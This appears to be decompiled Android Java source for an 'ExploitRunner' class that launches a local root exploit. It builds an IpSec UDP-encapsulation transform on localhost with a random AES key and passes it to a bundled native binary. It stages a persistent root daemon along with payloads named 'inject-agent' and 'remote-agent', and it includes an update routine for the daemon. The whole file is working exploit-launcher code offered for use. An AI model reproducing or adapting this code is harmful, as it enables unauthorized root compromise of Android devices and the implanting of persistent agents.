package df.root;

import android.content.Context;
import android.content.SharedPreferences;
import android.net.IpSecAlgorithm;
import android.net.IpSecManager;
import android.net.IpSecTransform;
import android.os.Build;
import android.util.Log;
import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.nio.channels.FileChannel;
import java.nio.channels.FileLock;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.OpenOption;
import java.nio.file.StandardCopyOption;
import java.nio.file.StandardOpenOption;
import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.UUID;

/* JADX INFO: loaded from: classes2.dex */
public class ExploitRunner {
    private static final String NATIVE_BIN = "libdfroot.so";

    private static String getSystemProperty(String str, String str2) {
        try {
            return (String) Class.forName("android.os.SystemProperties").getMethod("get", String.class, String.class).invoke(null, str, str2);
        } catch (Exception e) {
            return str2;
        }
    }

    public static synchronized int run(Context context, IReporter iReporter) throws Exception {
        if (Build.VERSION.SDK_INT < 28) {
            iReporter.report("Root daemon launch requires Android 9 (API 28) or later.\n");
            return 4;
        }
        FileChannel fileChannelOpen = FileChannel.open(new File(context.getFilesDir(), "dfroot-launch.lock").toPath(), StandardOpenOption.CREATE, StandardOpenOption.WRITE);
        try {
            FileLock fileLockLock = fileChannelOpen.lock();
            try {
                int iRunLocked = runLocked(context, iReporter);
                if (fileLockLock != null) {
                    fileLockLock.close();
                }
                if (fileChannelOpen != null) {
                    fileChannelOpen.close();
                }
                return iRunLocked;
            } catch (Throwable th) {
                if (fileLockLock != null) {
                    try {
                        fileLockLock.close();
                    } catch (Throwable th2) {
                        th.addSuppressed(th2);
                    }
                }
                throw th;
            }
        } catch (Throwable th3) {
            if (fileChannelOpen != null) {
                try {
                    fileChannelOpen.close();
                } catch (Throwable th4) {
                    th3.addSuppressed(th4);
                }
            }
            throw th3;
        }
    }

    private static int runLocked(Context context, IReporter iReporter) throws Exception {
        stageAppId(context);
        stageAssets(context);
        try {
            iReporter.report(DaemonClient.request(context, "STATUS"));
            iReporter.report("Root daemon is already running.\n");
            return 0;
        } catch (IOException e) {
            if (new File("/dev/df").exists()) {
                iReporter.report("The hook has already run, but the daemon is unavailable.\nReboot before another launch; check dfroot-daemon logs first.\n");
                return 2;
            }
            String systemProperty = getSystemProperty("persist.log.tag", "");
            if (!systemProperty.isEmpty() && Character.toUpperCase(systemProperty.charAt(0)) == 'S') {
                iReporter.report("ERROR: Developer Options → 'Log buffer size' is set to Off.\nChange it to any other value and retry.\n");
                return 2;
            }
            File file = new File(context.getApplicationInfo().nativeLibraryDir, NATIVE_BIN);
            IpSecManager ipSecManager = (IpSecManager) context.getSystemService("ipsec");
            if (ipSecManager == null) {
                throw new IllegalStateException("IpSecManager unavailable (requires API 28+)");
            }
            IpSecManager.UdpEncapsulationSocket udpEncapsulationSocketOpenUdpEncapsulationSocket = ipSecManager.openUdpEncapsulationSocket();
            InetAddress byName = InetAddress.getByName("127.0.0.1");
            IpSecManager.SecurityParameterIndex securityParameterIndexAllocateSecurityParameterIndex = ipSecManager.allocateSecurityParameterIndex(byName);
            byte[] bArr = new byte[32];
            new SecureRandom().nextBytes(bArr);
            DatagramSocket datagramSocket = new DatagramSocket();
            int localPort = datagramSocket.getLocalPort();
            datagramSocket.close();
            IpSecTransform ipSecTransformBuildTransportModeTransform = new IpSecTransform.Builder(context).setEncryption(new IpSecAlgorithm("cbc(aes)", bArr)).setIpv4Encapsulation(udpEncapsulationSocketOpenUdpEncapsulationSocket, localPort).buildTransportModeTransform(byName, securityParameterIndexAllocateSecurityParameterIndex);
            try {
                int iRunBinary = runBinary(context, file, iReporter, udpEncapsulationSocketOpenUdpEncapsulationSocket.getPort(), securityParameterIndexAllocateSecurityParameterIndex.getSpi(), bArr, localPort);
                if (iRunBinary != 0) {
                    return iRunBinary;
                }
                iReporter.report(DaemonClient.request(context, "STATUS"));
                iReporter.report("Verified root daemon through authenticated local IPC.\n");
                return 0;
            } finally {
                ipSecTransformBuildTransportModeTransform.close();
                securityParameterIndexAllocateSecurityParameterIndex.close();
                udpEncapsulationSocketOpenUdpEncapsulationSocket.close();
            }
        }
    }

    public static synchronized int update(Context context, IReporter iReporter) throws Exception {
        try {
            iReporter.report(DaemonClient.request(context, "STATUS"));
            stageAssets(context);
            File file = new File(new File(context.getApplicationInfo().nativeLibraryDir), "librootdaemon.so");
            File file2 = new File(context.getFilesDir().getParentFile(), "daemon.next.tmp");
            File file3 = new File(context.getFilesDir().getParentFile(), "daemon.next");
            stageBin(context, file, file2.getName());
            Files.move(file2.toPath(), file3.toPath(), StandardCopyOption.ATOMIC_MOVE, StandardCopyOption.REPLACE_EXISTING);
            iReporter.report(DaemonClient.request(context, "UPDATE"));
            for (int i = 0; i < 40; i++) {
                try {
                    String strRequest = DaemonClient.request(context, "STATUS");
                    if (strRequest.contains("daemon_version=11")) {
                        iReporter.report(strRequest);
                        iReporter.report("Daemon updated and running.\n");
                        return 0;
                    }
                } catch (IOException e) {
                }
                Thread.sleep(250L);
            }
            iReporter.report("The updated daemon did not become ready; check dfroot-daemon logs.\n");
            return 3;
        } catch (IOException e2) {
            iReporter.report("No running daemon can be updated. Start it first.\n");
            return 2;
        }
    }

    private static void stageAppId(Context context) throws Exception {
        String string = null;
        for (int i = 0; i < 20 && (string == null || string.isEmpty()); i++) {
            try {
                InputStream inputStreamOpen = context.getAssets().open("dfroot-app-id");
                try {
                    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                    byte[] bArr = new byte[256];
                    while (true) {
                        int i2 = inputStreamOpen.read(bArr);
                        if (i2 < 0) {
                            break;
                        } else if (i2 > 0) {
                            byteArrayOutputStream.write(bArr, 0, i2);
                        }
                    }
                    string = new String(byteArrayOutputStream.toByteArray(), StandardCharsets.US_ASCII).trim();
                    if (inputStreamOpen != null) {
                        inputStreamOpen.close();
                    }
                } catch (Throwable th) {
                    if (inputStreamOpen != null) {
                        try {
                            inputStreamOpen.close();
                        } catch (Throwable th2) {
                            th.addSuppressed(th2);
                        }
                    }
                    throw th;
                }
            } catch (IOException e) {
            }
            if ((string == null || string.isEmpty()) && i < 19) {
                Thread.sleep(250L);
            }
        }
        SharedPreferences sharedPreferences = context.getSharedPreferences("android_upload", 0);
        if (string == null || string.isEmpty()) {
            string = sharedPreferences.getString("app_id", "a0000000-0000-4000-8000-000000000001");
            Log.w("dfroot", "Injected AppID unavailable; using saved/default AppID: " + string);
        }
        if (string.length() == 36 && UUID.fromString(string).toString().equals(string)) {
            sharedPreferences.edit().putString("app_id", string).apply();
            File file = new File(context.getFilesDir(), "android-app-id");
            File file2 = new File(context.getFilesDir(), "android-app-id.tmp");
            Files.write(file2.toPath(), string.getBytes(StandardCharsets.US_ASCII), new OpenOption[0]);
            Files.move(file2.toPath(), file.toPath(), StandardCopyOption.ATOMIC_MOVE, StandardCopyOption.REPLACE_EXISTING);
            return;
        }
        throw new IOException("Invalid AppID UUID");
    }

    private static void stageBin(Context context, File file, String str) throws Exception {
        if (!file.exists()) {
            throw new IOException(String.valueOf(file) + " not found");
        }
        File file2 = new File(context.getFilesDir().getParentFile(), str);
        Files.copy(file.toPath(), file2.toPath(), StandardCopyOption.REPLACE_EXISTING);
        if (!file2.setExecutable(true, false)) {
            throw new IOException("setExecutable failed: " + file2.getAbsolutePath());
        }
    }

    private static void stageAssets(Context context) throws Exception {
        File file = new File(context.getApplicationInfo().nativeLibraryDir);
        stageBin(context, new File(file, "librootdaemon.so"), "daemon");
        stageBin(context, new File(file, "libbootstrap.so"), "bootstrap");
        stageBin(context, new File(file, "libtrust_launcher.so"), "trust-launcher.so");
        stageBin(context, new File(file, "libdfagent.so"), "dfagent.so");
        File file2 = new File(context.getFilesDir(), "trust-recovery.dex");
        InputStream inputStreamOpen = context.getAssets().open("trust-recovery/classes.dex");
        try {
            Files.copy(inputStreamOpen, file2.toPath(), StandardCopyOption.REPLACE_EXISTING);
            if (inputStreamOpen != null) {
                inputStreamOpen.close();
            }
            File file3 = new File(context.getFilesDir(), "inject-agent.dex");
            InputStream inputStreamOpen2 = context.getAssets().open("inject-agent/classes.dex");
            try {
                Files.copy(inputStreamOpen2, file3.toPath(), StandardCopyOption.REPLACE_EXISTING);
                if (inputStreamOpen2 != null) {
                    inputStreamOpen2.close();
                }
                File file4 = new File(context.getFilesDir(), "remote-agent.dex");
                InputStream inputStreamOpen3 = context.getAssets().open("remote-agent/classes.dex");
                try {
                    Files.copy(inputStreamOpen3, file4.toPath(), StandardCopyOption.REPLACE_EXISTING);
                    if (inputStreamOpen3 != null) {
                        inputStreamOpen3.close();
                    }
                    DFV2Metadata.stage(context);
                } catch (Throwable th) {
                    if (inputStreamOpen3 != null) {
                        try {
                            inputStreamOpen3.close();
                        } catch (Throwable th2) {
                            th.addSuppressed(th2);
                        }
                    }
                    throw th;
                }
            } catch (Throwable th3) {
                if (inputStreamOpen2 != null) {
                    try {
                        inputStreamOpen2.close();
                    } catch (Throwable th4) {
                        th3.addSuppressed(th4);
                    }
                }
                throw th3;
            }
        } catch (Throwable th5) {
            if (inputStreamOpen != null) {
                try {
                    inputStreamOpen.close();
                } catch (Throwable th6) {
                    th5.addSuppressed(th6);
                }
            }
            throw th5;
        }
    }

    private static int runBinary(Context context, File file, IReporter iReporter, int i, int i2, byte[] bArr, int i3) throws Exception {
        ArrayList arrayList = new ArrayList();
        arrayList.add(file.getAbsolutePath());
        arrayList.add("--encap-port");
        arrayList.add(String.valueOf(i));
        arrayList.add("--sender-port");
        arrayList.add(String.valueOf(i3));
        arrayList.add("--spi");
        arrayList.add(Integer.toUnsignedString(i2));
        arrayList.add("--aes-key");
        arrayList.add(hex(bArr));
        ProcessBuilder processBuilder = new ProcessBuilder(arrayList);
        processBuilder.environment().put("DFROOT_HOST_PACKAGE", context.getPackageName());
        processBuilder.environment().put("DFROOT_APP_ID", new String(Files.readAllBytes(new File(context.getFilesDir(), "android-app-id").toPath()), StandardCharsets.US_ASCII));
        processBuilder.redirectErrorStream(true);
        Process processStart = processBuilder.start();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(processStart.getInputStream()));
        while (true) {
            String line = bufferedReader.readLine();
            if (line == null) {
                return processStart.waitFor();
            }
            iReporter.report(line + "\n");
        }
    }

    private static String hex(byte[] bArr) {
        StringBuilder sb = new StringBuilder(bArr.length * 2);
        for (byte b : bArr) {
            sb.append(String.format("%02x", Byte.valueOf(b)));
        }
        return sb.toString();
    }
}
